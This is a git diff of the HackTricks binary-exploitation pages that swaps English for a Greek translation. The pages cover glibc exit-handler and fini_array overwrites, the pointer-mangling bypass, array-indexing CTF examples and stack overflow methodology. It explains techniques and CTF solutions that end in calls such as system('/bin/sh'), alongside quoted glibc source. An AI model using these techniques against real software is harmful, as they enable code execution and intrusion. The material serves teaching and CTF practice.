explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +Όπως εξηγήθηκε [**σε αυτή την ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), Αν το πρόγραμμα τερματίσει χρησιμοποιώντας `return` ή `exit()` θα εκτελέσει `__run_exit_handlers()` που θα καλέσει καταχωρημένους καταστροφείς. > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> Αν το πρόγραμμα τερματίσει μέσω της **`_exit()`** συνάρτησης, θα καλέσει την **`exit` syscall** και οι χειριστές εξόδου δεν θα εκτελούνται. Έτσι, για να επιβεβαιώσεις ότι εκτελείται το `__run_exit_handlers()`, μπορείς να ορίσεις ένα breakpoint σε αυτό. +Ο σημαντικός κώδικας είναι ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +Σημειώστε πώς το `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για να **υπολογίσει** τη θέση του **πίνακα συναρτήσεων που πρέπει να καλέσετε**. -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +Υπάρχουν **μερικές επιλογές**: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- Επαναγράψτε την τιμή του `map->l_addr` για να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για την εκτέλεση αυθαίρετου κώδικα +- Επαναγράψτε τις εγγραφές `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (οι οποίες είναι περισσότερο ή λιγότερο διαδοχικές στη μνήμη), για να τις κάνετε **να δείχνουν σε μια πλαστή δομή `Elf64_Dyn`** που θα κάνει ξανά **ο `array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο. +- [**Αυτή η αναφορά**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) επαναγράφει το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μιας ελεγχόμενης μνήμης στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **που θα εκτελεστεί και στη συνέχεια τη** **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της **τιμής του `map->l_addr`** έτσι ώστε το `*array` να δείχνει στον ψεύτικο πίνακα. +- Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την αναφορά**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει έναν δείκτη στη στοίβα που δείχνει στον δυαδικό `link_map` στο ld.so. Με μια αυθαίρετη εγγραφή είναι δυνατό να το επαναγράψετε και να το κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα. +Ακολουθώντας τον προηγούμενο κώδικα μπορείτε να βρείτε μια άλλη ενδιαφέρουσα ενότητα με τον κώδικα: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +Σε αυτή την περίπτωση θα ήταν δυνατό να επαναγράψουμε την τιμή του `map->l_info[DT_FINI]` που δείχνει σε μια πλαστή δομή `ElfW(Dyn)`. Βρείτε [**περισσότερες πληροφορίες εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## TLS-Storage dtor_list επαναγραφή στο **`__run_exit_handlers`** -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +Όπως [**εξηγείται εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), αν ένα πρόγραμμα τερματίσει μέσω `return` ή `exit()`, θα εκτελέσει **`__run_exit_handlers()`** που θα καλέσει οποιαδήποτε συνάρτηση καταστροφής έχει καταχωρηθεί. +Κώδικας από `_run_exit_handlers()`: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +Κώδικας από **`__call_tls_dtors()`**: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +Για κάθε καταχωρημένη συνάρτηση στη **`tls_dtor_list`**, θα αποσυμπιέσει τον δείκτη από τη **`cur->func`** και θα την καλέσει με το επιχείρημα **`cur->obj`**. -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +Χρησιμοποιώντας τη συνάρτηση **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατόν να δούμε ότι στην πραγματικότητα η **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR_MANGLE cookie**. Έτσι, με μια υπερχείλιση σε αυτό, θα ήταν δυνατό να **επικαλύψουμε** το **cookie** και το **stack canary**.\ +Επικαλύπτοντας το PTR_MANGLE cookie, θα ήταν δυνατό να **παρακάμψουμε τη συνάρτηση `PTR_DEMANLE`** ρυθμίζοντάς την σε 0x00, που σημαίνει ότι το **`xor`** που χρησιμοποιείται για να αποκτήσουμε τη πραγματική διεύθυνση είναι απλώς η διεύθυνση που έχει ρυθμιστεί. Στη συνέχεια, γράφοντας στη **`dtor_list`** είναι δυνατό να **αλυσιδώσουμε πολλές συναρτήσεις** με τη διεύθυνση της συνάρτησης και το **επιχείρημά** της. +Τέλος, σημειώστε ότι ο αποθηκευμένος δείκτης δεν θα xored μόνο με το cookie αλλά και θα περιστραφεί 17 bits: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +Πρέπει να λάβετε υπόψη αυτό πριν προσθέσετε μια νέα διεύθυνση. -So you need to take this into account before adding a new address. +Βρείτε ένα παράδειγμα στην [**αρχική ανάρτηση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## Άλλοι παραμορφωμένοι δείκτες στο **`__run_exit_handlers`** -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +Αυτή η τεχνική είναι [**εξηγημένη εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) και εξαρτάται ξανά από το πρόγραμμα **να τερματίζει καλώντας `return` ή `exit()`** ώστε να κληθεί **`__run_exit_handlers()`**. +Ας ελέγξουμε περισσότερα κώδικα αυτής της συνάρτησης: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +Η μεταβλητή `f` δείχνει στη **`initial`** δομή και ανάλογα με την τιμή του `f->flavor` θα κληθούν διαφορετικές συναρτήσεις.\ +Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα είναι σε διαφορετική θέση, αλλά θα είναι πάντα **demangled**. -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατός ο έλεγχος ενός **argument**. -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +Είναι δυνατόν να ελέγξετε τη **`initial` δομή** σε μια συνεδρία αποσφαλμάτωσης με το GEF να τρέχει **`gef> p initial`**. -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Για να εκμεταλλευτείτε αυτό, χρειάζεται είτε να **leak ή να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια είσοδο `cxa` στην αρχική με `system('/bin/sh')`.\ +Μπορείτε να βρείτε ένα παράδειγμα αυτού στο [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..faf7924b6 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -4,15 +4,15 @@ ## Basic Information -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +Αυτή η κατηγορία περιλαμβάνει όλες τις ευπάθειες που προκύπτουν επειδή είναι δυνατό να επαναγραφούν ορισμένα δεδομένα μέσω σφαλμάτων στη διαχείριση των δεικτών σε πίνακες. Είναι μια πολύ ευρεία κατηγορία χωρίς συγκεκριμένη μεθοδολογία, καθώς ο μηχανισμός εκμετάλλευσης εξαρτάται εντελώς από τις συνθήκες της ευπάθειας. -However he you can find some nice **examples**: +Ωστόσο, μπορείτε να βρείτε μερικά ωραία **παραδείγματα**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- Υπάρχουν **2 συγκρουόμενοι πίνακες**, ένας για **διευθύνσεις** όπου αποθηκεύονται τα δεδομένα και ένας με τα **μεγέθη** αυτών των δεδομένων. Είναι δυνατό να επαναγραφεί ο ένας από τον άλλο, επιτρέποντας την εγγραφή μιας αυθαίρετης διεύθυνσης υποδεικνύοντας την ως μέγεθος. Αυτό επιτρέπει την εγγραφή της διεύθυνσης της συνάρτησης `free` στον πίνακα GOT και στη συνέχεια την επαναγραφή της με τη διεύθυνση προς `system`, και την κλήση του free από μια μνήμη με `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 bits, no nx. Επαναγράψτε ένα μέγεθος για να αποκτήσετε μια μορφή buffer overflow όπου όλα θα χρησιμοποιηθούν ως διπλός αριθμός και θα ταξινομηθούν από το μικρότερο στο μεγαλύτερο, οπότε είναι απαραίτητο να δημιουργηθεί ένα shellcode που να πληροί αυτή την απαίτηση, λαμβάνοντας υπόψη ότι το canary δεν πρέπει να μετακινηθεί από τη θέση του και τελικά να επαναγράψει το RIP με μια διεύθυνση προς ret, που να πληροί τις προηγούμενες απαιτήσεις και να τοποθετήσει τη μεγαλύτερη διεύθυνση σε μια νέα διεύθυνση που δείχνει στην αρχή της στοίβας (που διαρρέει από το πρόγραμμα) ώστε να είναι δυνατή η χρήση του ret για να πηδήξει εκεί. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64bits, no relro, canary, nx, no pie. Υπάρχει ένα off-by-one σε έναν πίνακα στη στοίβα που επιτρέπει τον έλεγχο ενός δείκτη παρέχοντας WWW (γράφει το άθροισμα όλων των αριθμών του πίνακα στη διεύθυνση που έχει επαναγραφεί από το off-by-one στον πίνακα). Η στοίβα ελέγχεται ώστε η διεύθυνση GOT `exit` να επαναγραφεί με `pop rdi; ret`, και στη στοίβα προστίθεται η διεύθυνση προς `main` (επιστρέφοντας στο `main`). Χρησιμοποιείται μια αλυσίδα ROP για να διαρρεύσει τη διεύθυνση του put στον GOT χρησιμοποιώντας puts (`exit` θα κληθεί, οπότε θα καλέσει `pop rdi; ret`, εκτελώντας έτσι αυτή την αλυσίδα στη στοίβα). Τέλος, χρησιμοποιείται μια νέα αλυσίδα ROP που εκτελεί το ret2lib. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, no relro, no canary, nx, pie. Καταχρήστε μια κακή ευρετηρίαση για να διαρρεύσετε διευθύνσεις της libc και της heap από τη στοίβα. Καταχρήστε το buffer overflow για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακαμφθεί ένας έλεγχος). diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..b860ba189 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# Βασική Μεθοδολογία Εκμετάλλευσης Δυαδικών Αρχείων {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## Βασικές Πληροφορίες για ELF -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +Πριν ξεκινήσετε να εκμεταλλεύεστε οτιδήποτε, είναι ενδιαφέρον να κατανοήσετε μέρος της δομής ενός **ELF δυαδικού**: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## Εργαλεία Εκμετάλλευσης {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## Μεθοδολογία Stack Overflow -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +Με τόσες πολλές τεχνικές, είναι καλό να έχετε ένα σχέδιο για το πότε θα είναι χρήσιμη κάθε τεχνική. Σημειώστε ότι οι ίδιες προστασίες θα επηρεάσουν διαφορετικές τεχνικές. Μπορείτε να βρείτε τρόπους να παρακάμψετε τις προστασίες σε κάθε ενότητα προστασίας, αλλά όχι σε αυτή τη μεθοδολογία. -## Controlling the Flow +## Έλεγχος της Ροής -There are different was you could end controlling the flow of a program: +Υπάρχουν διάφοροι τρόποι για να ελέγξετε τη ροή ενός προγράμματος: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**Stack Overflows**](../stack-overflow/) που επαναγράφουν τον δείκτη επιστροφής από το stack ή το EBP -> ESP -> EIP. +- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση. +- Ή μέσω **Arbitrary Writes + Write What Where to Execution**. +- [**Format strings**](../format-strings/)**:** Εκμεταλλευτείτε το `printf` για να γράψετε αυθαίρετο περιεχόμενο σε αυθαίρετες διευθύνσεις. +- [**Array Indexing**](../array-indexing.md): Εκμεταλλευτείτε μια κακώς σχεδιασμένη ευρετηρίαση για να μπορέσετε να ελέγξετε ορισμένους πίνακες και να αποκτήσετε μια αυθαίρετη εγγραφή. +- Μπορεί να χρειαστεί να εκμεταλλευτείτε ένα [**Integer Overflows**](../integer-overflow.md) για να προκαλέσετε την υπερχείλιση. +- **bof to WWW via ROP**: Εκμεταλλευτείτε μια υπερχείλιση buffer για να κατασκευάσετε ένα ROP και να μπορέσετε να αποκτήσετε ένα WWW. -You can find the **Write What Where to Execution** techniques in: +Μπορείτε να βρείτε τις τεχνικές **Write What Where to Execution** σε: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## Αιώνιοι Βρόχοι -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +Κάτι που πρέπει να λάβετε υπόψη είναι ότι συνήθως **μόνο μία εκμετάλλευση μιας ευπάθειας μπορεί να μην είναι αρκετή** για να εκτελέσετε μια επιτυχημένη εκμετάλλευση, ειδικά κάποιες προστασίες χρειάζονται να παρακαμφθούν. Επομένως, είναι ενδιαφέρον να συζητήσουμε ορισμένες επιλογές για **να κάνουμε μια μοναδική ευπάθεια εκμεταλλεύσιμη πολλές φορές** στην ίδια εκτέλεση του δυαδικού: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- Γράψτε σε μια **ROP** αλυσίδα τη διεύθυνση της **`main` συνάρτησης** ή τη διεύθυνση όπου συμβαίνει η **ευπάθεια**. +- Ελέγχοντας μια κατάλληλη αλυσίδα ROP, μπορεί να είστε σε θέση να εκτελέσετε όλες τις ενέργειες σε αυτή την αλυσίδα. +- Γράψτε στη διεύθυνση **`exit` στο GOT** (ή οποιαδήποτε άλλη συνάρτηση που χρησιμοποιείται από το δυαδικό πριν τελειώσει) τη διεύθυνση για να **επιστρέψετε στην ευπάθεια**. +- Όπως εξηγήθηκε στο [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** αποθηκεύστε 2 συναρτήσεις εδώ, μία για να καλέσετε ξανά την ευπάθεια και άλλη για να καλέσετε**`__libc_csu_fini`** που θα καλέσει ξανά τη συνάρτηση από το `.fini_array`. -## Exploitation Goals +## Στόχοι Εκμετάλλευσης -### Goal: Call an Existing function +### Στόχος: Κλήση μιας Υπάρχουσας Συνάρτησης -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): Υπάρχει μια συνάρτηση στον κώδικα που πρέπει να καλέσετε (ίσως με κάποιες συγκεκριμένες παραμέτρους) προκειμένου να αποκτήσετε τη σημαία. +- Σε μια **κανονική bof 